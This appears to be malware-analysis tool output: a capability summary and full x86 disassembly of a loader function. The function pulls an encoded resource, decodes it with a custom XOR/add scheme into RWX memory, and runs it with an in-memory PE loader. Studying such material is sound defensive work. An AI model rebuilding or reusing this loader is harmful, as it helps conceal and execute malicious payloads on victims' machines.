Function at 0x401e40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
mov dword [ebp - 4], 0
call fcn.00401700
test eax, eax
jne 0x4020e8
mov dword [ebp - 0x2c], 1
push str.FindResourceA
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], eax
push str.MYRES
push 0x9c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
push str.LoadResource
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
push str.SizeofResource
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x3c], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.0040d3e0
add esp, 0xc
mov cl, byte [ebp - 0x24]
mov byte [ebp - 0x2d], cl
lea edx, [ebp - 0x24]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x44], 0
jmp 0x401f44
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 4
jae 0x401f5e
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x44]
movsx edx, byte [ecx]
movzx eax, byte [ebp - 0x2d]
add eax, edx
mov byte [ebp - 0x2d], al
jmp 0x401f3b
mov dword [ebp - 0x48], 0
jmp 0x401f70
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x24]
jae 0x401fff
mov eax, dword [ebp - 0x48]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jne 0x401fa3
movsx edx, byte [ebp - 0x48]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x48]
mov byte [edx], cl
mov eax, dword [ebp - 0x48]
xor edx, edx
mov ecx, 3
div ecx
test edx, edx
jne 0x401fca
movsx edx, byte [ebp - 0x48]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x48]
movsx ecx, byte [eax]
add ecx, edx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x48]
mov byte [edx], cl
movzx eax, byte [ebp - 0x2d]
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x48]
mov byte [eax], dl
mov cl, byte [ebp - 0x2d]
add cl, 1
mov byte [ebp - 0x2d], cl
movzx edx, byte [ebp - 0x2d]
cmp edx, 0xff
jl 0x401ffa
mov byte [ebp - 0x2d], 0
jmp 0x401f67
mov eax, dword [ebp - 0xc]
movsx ecx, byte [eax + 6]
cmp ecx, 0xf
jge 0x402099
mov edx, dword [ebp - 0xc]
movsx eax, byte [edx + 6]
and eax, 0x80000001
jns 0x402022
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x402099
mov dword [ebp - 0x4c], 0
jmp 0x402038
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 0x24]
jae 0x402084
cmp dword [ebp - 0x4c], 5
je 0x40204c
cmp dword [ebp - 0x4c], 6
jne 0x40204e
jmp 0x40202f
mov eax, dword [ebp - 0xc]
movsx ecx, byte [eax + 6]
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
xor eax, ecx
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x4c]
mov byte [ecx], al
mov edx, dword [ebp - 0xc]
movsx eax, byte [edx + 5]
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x4c]
movsx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x4c]
mov byte [eax], dl
jmp 0x40202f
mov ecx, dword [ebp - 0xc]
mov byte [ecx + 5], 0
mov edx, dword [ebp - 0xc]
mov byte [edx + 6], 0
mov eax, dword [ebp - 0xc]
mov byte [eax + 7], 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00401400
add esp, 8
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x20], edx
push str.fnPeMemoryRunLib
mov ebx, dword [ebp - 0x20]
call fcn.004015c0
add esp, 4
mov dword [ebp - 8], eax
push dword [ebp - 0x24]
push dword [ebp - 0xc]
push dword [ebp - 0x20]
call dword [ebp - 8]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret